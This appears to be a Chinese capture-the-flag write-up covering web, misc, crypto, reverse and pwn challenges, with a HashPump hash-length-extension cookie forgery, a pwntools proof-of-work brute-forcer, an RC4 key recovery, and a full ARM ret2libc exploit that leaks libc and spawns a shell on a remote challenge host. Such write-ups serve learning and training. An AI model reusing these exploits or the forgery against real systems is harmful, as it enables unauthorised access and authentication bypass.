前言

一个人打太难了!不过成绩还算比较满意吧。可惜是距离线下就差那么一道题


Web

EZ_JS

hash扩展攻击+Cookie伪造


打开容器,是一个登录界面,随便登录之后会跳转到/cookie页面,这是关键的地方。

先看首页源码,有一段提示。


有两个信息:一是secret长度为7,告诉了我们的hash值(也就是/cookie页面下的cookie的hash值),二是admin的cookie如何构造

因此我们先尝试用admin登录,但发现页面的回显还是一样,查看/cookie页面的源代码 发现注释


jsfuck编码,复制到console控制台运行


提示了admin要大写,这里吐槽下是要Admin,不是ADMIN 首字母大写,尝试了很久。。

再次登录发现回显不一样了。


现在就需要我们构造admin的cookie了,重点来了。

可以参考文章https://blog.csdn.net/destiny1507/article/details/100543233

这里要下一个工具hashpump,可以方便我们快速构造hash

git clone https://github.com/bwall/HashPump
apt-get install g++ libssl-dev
cd HashPump
make
make install

然后将题目给我们的hash值填进去,题目还告诉我们secret长度为7,所以这里key length为7

剩下的input data 和 input data to add 要看那个urldecode的部分:


分别是flag和dog(这里input data可以随便填的)

ed63246fb602056fee4a7ec886d0a3c2
flag\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00X\x00\x00\x00\x00\x00\x00\x00dog

运行之后得到hash值和byte数据,这里byte数据可以跟题目的那一部分对比 是完全一样的。

这里的hash值就是admin cookie了,现在我们只需伪造cookie,将原hash替换成admin cookie即可。


登录得到flag


D0g3{Ez_js_is_here}

MISC

GumpKing

一个小游戏,积分玩到100就有flag,这边用CE改速度速通


D0g3{1145141919810}

little_thief

流量分析题,wireshark打开。

http流量,选择导出http对象。


关键文件有一个secret.zip,但需要密码


里面是flag.html看起来是重要文件,所以目前要找到密码。密码从流量里找,所以先从http流量分析看起

http.response.code==200 #筛选状态码正常的流量

利用筛选语句找到符合的流量,然后找结果中长度较大的流量包

通过追踪,在/api/login.php流量中发现了一段base64数据


解密得到了压缩包的密码

"rootPassword":"s1r_Th1s_k3y"

拿去解密压缩包成功解压,得到flag.html

打开网页,发现是一段废话生成器大量文字,包含着flag字段


像这种大量数据的,就猜测snow隐写,或者wbstego,其特征就是文件会有大量的20 和 09 hex数据

winhex分析,确实是这样的。


这里尝试snow隐写解密无果,所以这里不是snow隐写

最后尝试wbStego解密,成功得到flag


D0g3{H@ppY_sh@rdlng3pheRe}

Crypto

Cry1


nc访问靶机,给了一个sha256的哈希值,然后和一部分已知明文。

让我们去得到未知的部分,那么很明显只需要爆破字母表去找4个未知部分,写脚本:

from pwn import *
import string
import hashlib


def getxxxx(know,cipher):
    table = string.ascii_letters+string.digits
    for a in table:
        for b in table:
            for c in table:
                for d in table:
                    cip = a+b+c+d
                    cip_hash = hashlib.sha256((cip+know).encode()).hexdigest()
                    if cip_hash == cipher:
                        print(cip,cip_hash)
                        return cip
if __name__ == '__main__':
    p = remote('120.78.131.38',10001)
    content = p.recv().decode()
    cipher = content.split(':')[1].strip()
    know = content.split(')')[0].split('+')[1].strip()
    cip = getxxxx(know,cipher)
    p.sendlineafter('Give Me XXXX:\n',cip)
    print(p.recv())

运行脚本,发现发送后回显的内容让我们猜数字


有6次机会,数字在1-20,这里的思路就是脚本尝试1-6,然后循环整体操作多次直到猜测成功为止。

继续完善脚本:

from pwn import *
import string
import hashlib


def getxxxx(know,cipher):
    table = string.ascii_letters+string.digits
    for a in table:
        for b in table:
            for c in table:
                for d in table:
                    cip = a+b+c+d
                    cip_hash = hashlib.sha256((cip+know).encode()).hexdigest()
                    if cip_hash == cipher:
                        print(cip,cip_hash)
                        return cip
if __name__ == '__main__':
    for i in range(3):
        p = remote('120.78.131.38',10001)
        content = p.recv().decode()
        cipher = content.split(':')[1].strip()
        know = content.split(')')[0].split('+')[1].strip()
        cip = getxxxx(know,cipher)
        p.sendlineafter('Give Me XXXX:\n',cip)
        p.sendlineafter("If you guessed right, I'll give you the flag!, You only have 6 chances (1~20)\n",'1')
        for i in range(2,7):
            content = p.recv().decode()
            if "wrong" not in content:
                print(content)
                break
            p.sendline(str(i))
        if "D0g3" in content:
            break
        p.close()


D0g3{Y0u_C4n_gu3ss_The_Fl4g}

Reverse

reee

32位程序,IDA分析。

main函数:


主函数是sub_401640,我们跟进过去


前面一部分是防调试,主要看loc_4011B0函数

跟进发现大量红色代码,需要修复


选中按P,大部分代码修复成功了。

还需要注意这里花指令也得修复,不然会影响整体代码,对红色部分按U重新定义即可。

完整代码:


sub_401050:


sub_401130:


这里是一个RC4加密,可以用cyberchef直接梭哈

比的过程中还不知道是啥加密。。傻乎乎写了脚本,不过好在也是解出来了

前面的sub_401050是用D0g3作为key将v5加密,得到一组数据。后面的sub_401130函数是将输入的数据与v5数组的内容进行操作,最后与text比对。

这边我是用C++得出v5的数据(代码能力太差了python不会写xD),然后把v5的数据放python里进行解密。最后得到flag

贴下脚本C++

#include <stdio.h>
#include <cstring>
#include <windows.h>
int sub_401050(char *a1, char *a2, unsigned int a3)
{
  char *v3; // esi
  int v4; // ebx
  int v5; // esi
  char *v6; // ecx
  int v7; // edx
  unsigned __int8 *v8; // esi
  int v9; // edi
  unsigned __int8 v10; // dl
  unsigned __int8 result; // al
  bool v12; // zf
  int v15; // [esp+18h] [ebp-108h]
  char v16[256]; // [esp+1Ch] [ebp-104h] BYREF


  v3 = a2;
  memset(v16, 0, sizeof(v16));
  v4 = 0;
  v5 = v3 - v16;
  do
  {
    v6 = &v16[v4];
    v7 = v4 % a3;
    v6[v5] = v4++;
    *v6 = *(TBYTE *)(v7 + a1);
  }
  while ( v4 < 256 );
  v8 = (unsigned __int8 *)a2;
  v9 = 0;
  v15 = 256;
  do
  {
    v10 = *v8;
    v9 = (*v8 + (char)v8[v16 - a2] + v9) % 256;
    result = a2[v9];
    *v8++ = result;
    v12 = v15-- == 1;
    a2[v9] = v10;
  }
  while ( !v12 );
  return result;
}
int main(){
  unsigned int v1; // [esp+14h] [ebp-338h]
  int i; // [esp+2Ch] [ebp-320h]
  int j; // [esp+2Ch] [ebp-320h]
  char v4[256]; // [esp+30h] [ebp-31Ch] BYREF
  char v5[256]; // [esp+130h] [ebp-21Ch] BYREF
  char v6[4]; // [esp+230h] [ebp-11Ch] BYREF
  char v7[252]; // [esp+234h] [ebp-118h] BYREF
  CHAR Text[24]; // [esp+330h] [ebp-1Ch] BYREF
  memset(v5, 0, sizeof(v5));
  memset(v4, 0, sizeof(v4));
  memcpy(v6, "D0g3", sizeof(v6));
  memset(v7, 0, sizeof(v7));
  sub_401050(v6, v5, &v6[strlen(v6) + 1] - &v6[1]);
  printf("[");
  for(i=0;i<=255;i++){
      printf("%d,",v5[i]);
  }
  printf("]");
}

得到v5数组,最后代到python处理。

v5 = [68,52,90,-85,-63,-111,-2,-114,-38,-67,46,108,-68,22,110,-117,92,69,-18,-76,-87,85,-37,87,-77,-4,125,-65,23,61,-10,47,-22,53,-115,50,3,-86,-73,-121,-13,18,114,44,-108,6,118,-49,103,-6,-29,-81,-17,102,-36,109,-72,19,98,-88,-74,120,-21,100,119,89,-46,72,-122,-51,122,-12,123,-104,121,-59,105,27,77,-89,99,-97,-14,0,-109,-112,-60,93,64,48,14,84,-79,-52,-35,-128,96,-15,-70,-127,10,-123,-99,104,8,-64,5,-75,-42,-105,-20,36,60,127,111,-48,-120,-78,-41,95,-95,-91,-9,112,80,7,-125,78,12,-33,-56,-23,86,-50,28,-98,66,1,113,-80,-8,74,-110,-40,42,-107,-102,21,-24,-58,-93,70,71,-100,-82,51,39,57,17,106,-32,-30,43,83,-7,82,-71,-19,76,75,-96,54,40,115,55,-57,9,-31,-90,-126,41,79,15,45,62,-34,-62,-44,-28,31,4,91,30,-11,-61,-101,116,25,-83,-39,67,-5,-1,-26,101,73,-45,11,97,-119,-54,-94,59,37,126,-106,65,-47,-124,-92,20,-55,13,29,107,-113,58,-116,26,56,88,34,35,-43,24,38,81,-27,-103,63,-25,2,-69,-118,-66,33,-3,32,117,49,-84,-53,94,16,124,-16]
ls = [86,97,99,-92,34,-92,80,125,-51,-115,19,61,74,79,13,98,-120,-85,-4,-23,-69,30,-96,-112]
res = ['']*256
a2 = v5
a3 = 256
result = 0
v4 = 0
v8 = a2


for i in range(a3):
    try:
        v4 = v4+1%256
        v6 = a2[v4]
        result = (v6+result) %256
        v8[v4] = a2[result]
        v8[result] = v6
        res[i] = ls[i] ^ v8[v8[v4]+v6]
    except:
        pass
for i in res:
    try:
        print(chr(i),end='')
    except:
        pass
#d0g3{This_15_FindWind0w}

运行得到flag

d0g3{This_15_FindWind0w}

Pwn

babyarm

arm架构32位的题目,其溢出手法值得学习。

题目提供了libc。


前面就是正常的接收,进行一个base64加密的处理。

当加密的数据为 Sp5jS6mpH6LZC6GqSWe= 时,则给你一次栈溢出的机会。

这题没后门,可以做ret2libc也可以ret2shellcode。

前面需要注意下这个base64解密得不到正常数据,得跟进到加密的函数看其操作。

跟进sub_10668的byte_10CCC数组



能发现这里base64是换表了,正常的应该是A-za-z0-9+/才对,所以正常解密解不出来。

跑一下换表脚本即可(有点逆向的感觉……)


得到明文为 s1mpl3Dec0d4r

之后就是溢出的操作。

这里思路是泄露puts地址,然后构造system和bin_sh 最后再发一次过去getshell。也就是传统的ret2libc,但是这里arm是通过寄存器传参的,所以要注意传参前加寄存器,构造的手法值得细学。

贴下参考一位大师傅写的exp:

from pwn import *


context.log_level='debug'
#p = process("./chall")
p = remote("47.108.29.107",10061)
elf = ELF("./chall")
libc = ELF("./libc-2.27.so")


def input_pass():
    p.sendlineafter("msg> ","s1mpl3Dec0d4r")


def overflow(payload):
    p.sendlineafter("comment> ",payload)


puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
main_addr = 0x1050C
pop_r3_pc = 0x10464
pop_r4_r5_r6_r7 = 0x10cb0
mov_r0_r7 = 0x10ca0


input_pass()


payload = b'a'*(0x2c) + p32(pop_r4_r5_r6_r7) + p32(0)*3 + p32(puts_got) + p32(0)*3 + p32(pop_r3_pc) + p32(puts_plt) + p32(mov_r0_r7) + p32(main_addr)*10


overflow(payload)


libc_base = u32(p.recv()[:4])
libc_base = libc_base - libc.symbols["puts"]
success("libc base is leaked ==> " + hex(libc_base))


system_addr = libc_base + libc.symbols["system"]
binsh = libc_base + next(libc.search(b'/bin/sh'))


payload = b'a'*(0x2c) + p32(pop_r4_r5_r6_r7) + p32(0)*3 + p32(binsh) + p32(0)*3 + p32(pop_r3_pc) + p32(system_addr) + p32(mov_r0_r7) + p32(main_addr)*10


input_pass()
overflow(payload)


p.interactive()

这题ret2shellcode做可以更简单,因为bss段是可执行的,后面没写shellcode的exp就不继续往下写了。

D0g3{5bdb3a4ed9524be2aa073f06090e95de}